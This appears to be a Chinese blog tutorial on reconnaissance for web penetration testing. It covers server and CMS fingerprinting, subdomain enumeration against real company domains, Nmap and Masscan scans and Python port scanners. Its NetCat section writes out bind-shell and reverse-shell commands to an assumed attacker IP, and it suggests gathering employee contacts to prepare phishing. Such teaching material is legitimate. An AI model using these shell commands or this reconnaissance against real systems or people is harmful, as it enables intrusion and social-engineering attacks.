書接上回:WEB漏洞挖掘篇(一) 基本概念、十大常見WEB漏洞-CSDN博客
建議資源:
VMware虛擬機:https://www.techspot.com/downloads/189-vmware-workstation-for-windows.html#google_vignette
win12:https://windows-12.en.softonic.com/
引言
在網路安全領域,無論是滲透測試還是紅隊行動,資訊收集都是整個過程中最至關重要、奠定基礎的階段。正所謂"知己知彼,百戰不殆",掌握的目標資訊越多,後續的行動就越順利。本文將系統性地剖析資訊收集的五大核心要素,並深入講解從手動技巧到自動化工具的高級實戰方法。

目录
[2.1 操作系統與中間件識別](#2.1 操作系統與中間件識別)
[2.2 語言腳本探測](#2.2 語言腳本探測)
[2.2.1 搜索引擎技巧](#2.2.1 搜索引擎技巧)
[2.3 源碼資訊(CMS)識別](#2.3 源碼資訊(CMS)識別)
[2.3.1 查看網頁源碼](#2.3.1 查看網頁源碼)
[2.3.2 開發者工具調試器](#2.3.2 開發者工具調試器)
[2.4 數據庫類型探測](#2.4 數據庫類型探測)
[3.1 後台入口發現](#3.1 後台入口發現)
[3.2 子域名挖掘](#3.2 子域名挖掘)
[3.3 目錄與敏感文件掃描](#3.3 目錄與敏感文件掃描)
[4.1 常用參數:](#4.1 常用參數:)
[4.2 實戰應用](#4.2 實戰應用)
[4.2.1 端口掃描](#4.2.1 端口掃描)
[4.2.2 Banner 抓取(深入掃描)](#4.2.2 Banner 抓取(深入掃描))
[4.2.3 遠程後門(Bind Shell)](#4.2.3 遠程後門(Bind Shell))
[4.2.4 文件傳輸](#4.2.4 文件傳輸)
[4.2.5 反向連接(Reverse Shell) - 繞過防火牆](#4.2.5 反向連接(Reverse Shell) - 繞過防火牆)
[5.1 瀏覽器插件 - Wappalyzer](#5.1 瀏覽器插件 - Wappalyzer)
[5.2 網路空間搜索引擎](#5.2 網路空間搜索引擎)
[5.3 社工資訊收集](#5.3 社工資訊收集)
[6.1 Masscan - 最快的端口掃描器](#6.1 Masscan - 最快的端口掃描器)
[6.2 Nmap - 最全面的網路映射器](#6.2 Nmap - 最全面的網路映射器)
[七、Python 資訊收集實戰](#七、Python 資訊收集實戰)
[7.1 域名解析為 IP](#7.1 域名解析為 IP)
[7.2 WHOIS 資訊查詢](#7.2 WHOIS 資訊查詢)
[7.3 子域名爆破(需字典文件 dict.txt)](#7.3 子域名爆破(需字典文件 dict.txt))
[7.4 簡易端口掃描器](#7.4 簡易端口掃描器)
[7.5 線程端口掃描](#7.5 線程端口掃描)
一、核心目標:收集五大關鍵要素
一次成功的資訊收集旨在全面描繪目標系統的畫像,主要圍繞以下五個方面展開:
操作系統(OS):如 Windows Server、Debian、Ubuntu、CentOS 等。
中間件(Web Server):如 IIS、Apache、Nginx、Tomcat 等。
語言腳本:如 PHP、ASP、ASPX、JSP 等。
源碼資訊:如 WordPress、Discuz!、Drupal、ThinkPHP 等知名 CMS 或框架。
數據庫(DB):如 MySQL、Microsoft SQL Server、Oracle、PostgreSQL 等。
二、手動資訊收集技巧
2.1 操作系統與中間件識別
最簡單直接的方法:瀏覽器開發者工具
訪問目標網站。
按
F12
打開開發者工具。切換到 "網路"(Network) 選項卡。
刷新頁面,查看任意 HTTP 請求的響應頭中的
Server
或X-Powered-By
字段。
Server: Microsoft-IIS/10.0
→ Windows Server
Server: Apache/2.4.29 (Ubuntu)
→ Ubuntu Linux
X-Powered-By: PHP/7.2.24
→ PHP


網上一查就會知道源碼信息是WordPress了
2.2 語言腳本探測
2.2.1 搜索引擎技巧
在 Bing 中搜索:
<target.com> *.php。
如果返回了大量結果,說明網站很可能使用 PHP 開發。同理,可嘗試*.asp
,*.jsp
,*.aspx
。

2.3 源碼資訊(CMS)識別
2.3.1 查看網頁源碼
在頁面空白處右鍵,選擇"查看頁面源代碼"。
查看
<head>
區域的<meta>
標籤、引入的 CSS/JS 文件路徑、註釋等資訊。滑動到頁面最底部,很多網站會直接標明 "Powered by XXX"。
2.3.2 開發者工具調試器
按
F12
打開開發者工具。切換到 "調試器"(Debugger) 或 "源代碼"(Sources) 選項卡。
查看引用的核心 JavaScript 或 CSS 文件的目錄名、文件名,這些往往是 CMS 的名稱(如
/wp-content/
即 WordPress)。
2.4 數據庫類型探測
不同的數據庫默認運行在特定的端口上。掃描目標服務器開放端口是識別數據庫類型的高效方法。
MySQL →
3306
MSSQL →
1433
Oracle →
1521
PostgreSQL →
5432
Redis →
6379
實戰方法 :使用在線端口掃描網站(如
tool.chinaz.com/port
)或本地工具(如Nmap
),輸入目標 IP 或域名,檢測上述端口的開放狀態。(盡量多用不同的掃描網站,成功的機會更大)
三、域名與目錄資訊收集
3.1 後台入口發現
網站後台通常是安全防禦的薄弱點。常見後台路徑如下:
/admin/
/login/
/manage/
/wp-admin/
(WordPress)
/administrator/
(Joomla)
3.2 子域名挖掘
主域名(如
jd.com
)防禦堅固,但其子域名(如person.jd.com
,dev.jd.com
)可能安全性較低,是絕佳的突破口。
實戰方法:使用子域名查詢工具或網站:
在線工具 :
subdomain.top
,searchdns.netcraft.com
,dnsdumpster.com
本地工具 :
subDomainsBrute
,Sublist3r
,OneForAll
3.3 目錄與敏感文件掃描
使用工具對網站目錄進行暴力猜解,旨在發現隱藏的目錄、備份文件(
.bak
,.zip
)、配置文件(config.php
)、日誌文件等。
推薦工具:
御劍:經典的目錄掃描工具,圖形化界面,易於使用。
7kbscan:速度較快的Web路徑掃描器。
DirBuster / Gobuster:Kali Linux 下的強大目錄掃描工具。
成功標誌:掃描到登入後台、文件上傳點、配置文件等關鍵路徑。
四、瑞士軍刀:NetCat (NC)
NetCat 是網路診斷和開發的最終工具,被譽為"TCP/IP 瑞士軍刀"。
4.1 常用參數:
-l
:監聽模式
-p
:指定端口
-v
:顯示詳細輸出
-n
:直接使用 IP 地址,不進行 DNS 解析
-z
:零 I/O 模式,用於掃描
-e
:執行程式(後門功能的關鍵)
4.2 實戰應用
4.2.1 端口掃描
bash
# 掃描目標IP的指定端口範圍
nc -nvv -w 1 -z 192.168.1.100 1-100
4.2.2 Banner 抓取(深入掃描)
bash
# 連接80端口並獲取Web服務資訊
echo "" | nc -nv 192.168.1.100 80
4.2.3 遠程後門(Bind Shell)
- 目標機子(執行):
nc -lvp 6666 -e /bin/bash
(Linux)
nc.exe -lvp 6666 -e cmd.exe
(Windows 且該目錄下需要有nc.exe等等文件)
- 攻擊者機子(連接):
nc 192.168.1.100 6666
目標機子打開6666端口,一但有人連接到6666端口就會把cmd或/bin/bash交給對方
結果:攻擊者獲得目標機器的一個遠程命令行 shell。即攻擊者可以操控目標機子的cmd
4.2.4 文件傳輸
接收端(服務端) :
nc -lvp 6666 > received_file.txt(命名)
發送端(客戶端) :
nc -nv 192.168.1.100 6666 < file_to_send.txt(指定文件名)
客戶端打開6666端口,當有人連接到6666端口時就會把指定文件傳送到該機子,並命名存儲
4.2.5 反向連接(Reverse Shell) - 繞過防火牆
攻擊者(監聽) :
nc -lvp 9999
目標機子(連接) :
nc -e /bin/bash 10.0.0.1 9999
(假設10.0.0.1
是攻擊者 IP)變成攻擊者打開9999端口,當目標機子連接到9999端口時,就會把/bin/bash傳送給攻擊者。
結果:目標機子主動連接到攻擊者,攻擊者獲得 shell。
五、自動化資訊收集
5.1 瀏覽器插件 - Wappalyzer
在火狐上安裝此插件後,訪問任何網站,它都會自動分析並顯示其使用的技術棧,包括 CMS、編程語言、Web 服務器、JavaScript 框架等。

5.2 網路空間搜索引擎
這些引擎可以對全球互聯網設備進行檢索,是資訊收集的"大殺器"。順便一提,大部份都是要課金的喔(主要用FOFA就行了)
FOFA :
fofa.so
- 語法:
domain="baidu.com"(域名)
、app="ThinkPHP"(程序)
、port="9000"(端口)
、city="Beijing"(地區)......
Shodan :
shodan.io
- 側重於服務器、IoT 設備資訊。ZoomEye :
zoomeye.org
- 中國的網路空間搜索引擎。360 Quake :
quake.360.cn
- 360 推出的網路空間安全搜索引擎。

5.3 社工資訊收集
愛企查 / 企查查:用於收集目標企業的組織架構、員工郵箱、電話號碼等資訊,為釣魚攻擊做準備。(也是需要課金的)
六、高級掃描工具
常規用法是先用masscan大範圍掃描,再以nmap精確打撃
6.1 Masscan - 最快的端口掃描器
用於超大規模、快速的端口掃描。不過結果可能不精準(太快了)
bash
# 掃描一個網段的所有80端口
sudo masscan -p 80 192.168.2.0/24
# 掃描指定IP範圍的裝置的80-90端口
sudo masscan -p 80-90 --range 192.168.2.1-192.168.2.255
# 探測網段記憶活的主機
sudo masscan --ping 192.168.2.0/24
# 調整速度(太快可能會出錯)
sudo masscan -p 80 192.168.2.0/24 --rate=10000
6.2 Nmap - 最全面的網路映射器
用於端口掃描、服務版本探測、操作系統識別等深度掃描。(精準打撃,但比較慢)
bash
# 基礎掃描
nmap 192.168.1.100
# 服務版本探測
nmap -sV 192.168.1.100
# 操作系統探測
nmap -O 192.168.1.100
# 指定端口掃描
nmap -p 80,443,3306 192.168.1.100
# 將結果輸出到文件
nmap -O -sV 192.168.1.100 -oN result.txt
七、Python 資訊收集實戰
自動化是提升效率的關鍵。以下是一些簡單的 Python 腳本示例。
7.1 域名解析為 IP
python
import socket
hostname = 'vivo.com.cn'
ip = socket.gethostbyname(hostname)
print(f"[+] {hostname} 的 IP 地址是: {ip}")
7.2 WHOIS 資訊查詢
python
import whois
def whois_check(domain):
try:
w = whois.whois(domain)
print(f"註冊人: {w.name}")
print(f"註冊郵箱: {w.emails}")
print(f"註冊商: {w.registrar}")
print(f"註冊時間: {w.creation_date}")
except Exception as e:
print(f"查詢失敗: {e}")
whois_check("vivo.com.cn")
7.3 子域名爆破(需字典文件 dict.txt
)
python
import socket
import time
def check_subdomain(domain):
with open("dict.txt", "r") as f:
for sub in f:
sub = sub.strip()
url = f"{sub}.{domain}"
try:
ip = socket.gethostbyname(url)
print(f"[+] Found: {url} -> {ip}")
except socket.gaierror:
print(f"[-] Not Found: {url}")
time.sleep(0.5) # 避免請求過快
check_subdomain("vivo.com.cn")
7.4 簡易端口掃描器
python
import socket
def port_scan(ip, port):
sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sk.settimeout(0.5)
result = sk.connect_ex((ip, port)) # 返回0表示成功
sk.close()
return result == 0
target_ip = "127.0.0.1"
for port in [80, 443, 3306, 3389]:
if port_scan(target_ip, port):
print(f"[+] Port {port} is OPEN")
else:
print(f"[-] Port {port} is CLOSED")
7.5 線程端口掃描
python
import socket
import sys
import threading
import queue
import time
def get_ip(name):
ip = socket.gethostbyname(name)
return ip
def port_test(ip):
# 創建socket對象 默認为TCP連接
# sk = socket.socket(網絡類型,socket類型)
# socket.AF_INET:ipv4, socket.SOCK_STREAM:tcp連接
# 建⽴鏈接 連接失敗 則報錯
while True:
if q.empty():
break
sk = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
port = q.get()
try:
# 獲取隊列中的端⼝
sk.connect((ip,port))
print(ip,':',port,'----連接成功')
except: # 捕獲異常
print(port,'失敗')
pass
# 關閉連接
sk.close()
time.sleep(1)
# python .\py5.py 127.0.0.1 1000
if __name__ == '__main__':
ip = sys.argv[1]
th_nums = int(sys.argv[2])
# ip = get_ip(yuming)
# 創建⼦線程
# 創建線程隊列
q = queue.Queue()
for i in range(1,65535):
q.put(i)
for i in range(th_nums):
t = threading.Thread(target=port_test,args=(ip,)) t.start()
八、小結
資訊收集是一個反覆循環、逐步深入的過程。本文介紹的方法和工具僅是冰山一角,但其核心思想是相通的:由外到內,由粗到精,多源印證,持續進行。真正的安全工程師會根據目標情況靈活組合這些技巧,構建出完整的目標畫像,從而為後續的漏洞探測和滲透打開突破口。
注意:請務必在獲得授權的前提下進行所有安全測試活動,遵守法律法規。